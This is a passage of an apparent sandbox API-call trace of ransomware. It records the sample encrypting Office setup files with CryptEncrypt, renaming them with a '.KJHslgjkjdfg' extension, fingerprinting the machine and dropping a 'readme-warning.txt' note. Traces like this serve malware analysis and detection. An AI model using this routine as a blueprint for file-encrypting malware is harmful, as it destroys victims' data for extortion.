lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.366] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.366] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.366] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.366] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x4cf, lpOverlapped=0x0) returned 1 [0143.366] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x4d0) returned 1 [0143.366] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.366] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x4d0, lpOverlapped=0x0) returned 1 [0143.366] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.366] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.366] SetEndOfFile (hFile=0x13c) returned 1 [0143.368] GetProcessHeap () returned 0x2a0000 [0143.368] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.368] GetProcessHeap () returned 0x2a0000 [0143.368] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.kjhslgjkjdfg")) returned 1 [0143.369] CloseHandle (hObject=0x13c) returned 1 [0143.369] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.369] GetProcessHeap () returned 0x2a0000 [0143.369] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.369] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.369] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.370] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.371] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.371] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.371] GetProcessHeap () returned 0x2a0000 [0143.371] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.371] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.371] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.371] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.372] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.372] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.372] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.372] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.372] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.372] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.372] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.372] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.372] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x73c, lpOverlapped=0x0) returned 1 [0143.372] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x740, dwBufLen=0x740 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x740) returned 1 [0143.372] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.372] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x740, lpOverlapped=0x0) returned 1 [0143.372] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.372] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.372] SetEndOfFile (hFile=0x13c) returned 1 [0143.375] GetProcessHeap () returned 0x2a0000 [0143.375] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.375] GetProcessHeap () returned 0x2a0000 [0143.375] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.380] CloseHandle (hObject=0x13c) returned 1 [0143.380] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.380] GetProcessHeap () returned 0x2a0000 [0143.380] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.380] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.380] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.380] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.380] GetProcessHeap () returned 0x2a0000 [0143.380] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.380] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.380] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.380] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.380] GetProcessHeap () returned 0x2a0000 [0143.380] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.380] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.380] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.381] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.381] GetProcessHeap () returned 0x2a0000 [0143.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.381] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.381] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.381] GetProcessHeap () returned 0x2a0000 [0143.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.381] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.381] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.381] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.381] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.381] RegCloseKey (hKey=0x13c) returned 0x0 [0143.381] GetProcessHeap () returned 0x2a0000 [0143.381] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.381] GetProcessHeap () returned 0x2a0000 [0143.381] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.381] GetProcessHeap () returned 0x2a0000 [0143.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.381] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.382] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.382] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.382] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.382] GetProcessHeap () returned 0x2a0000 [0143.382] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.382] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.382] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.382] GetProcessHeap () returned 0x2a0000 [0143.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.382] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\readme-warning.txt") returned 113 [0143.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.388] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.389] CloseHandle (hObject=0x13c) returned 1 [0143.389] GetProcessHeap () returned 0x2a0000 [0143.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.389] GetProcessHeap () returned 0x2a0000 [0143.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.390] GetProcessHeap () returned 0x2a0000 [0143.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.390] GetProcessHeap () returned 0x2a0000 [0143.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.390] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.390] GetProcessHeap () returned 0x2a0000 [0143.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.390] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0143.390] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0143.390] GetProcessHeap () returned 0x2a0000 [0143.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xca) returned 0x2ed148 [0143.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.392] GetProcessHeap () returned 0x2a0000 [0143.392] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.392] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.392] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0143.392] GetProcessHeap () returned 0x2a0000 [0143.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2cc) returned 0x2f7730 [0143.392] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0143.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.393] GetProcessHeap () returned 0x2a0000 [0143.393] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.393] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.393] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.393] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xb, lpOverlapped=0x0) returned 1 [0143.395] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.395] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.395] GetProcessHeap () returned 0x2a0000 [0143.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.395] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.395] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.395] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.395] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.396] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.396] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.396] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.396] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.396] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.396] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.396] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.396] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x91975, lpOverlapped=0x0) returned 1 [0143.405] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x91980, dwBufLen=0x91980 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x91980) returned 1 [0143.410] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.410] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x91980, lpOverlapped=0x0) returned 1 [0143.412] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.412] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.412] SetEndOfFile (hFile=0x13c) returned 1 [0143.416] GetProcessHeap () returned 0x2a0000 [0143.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.416] GetProcessHeap () returned 0x2a0000 [0143.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 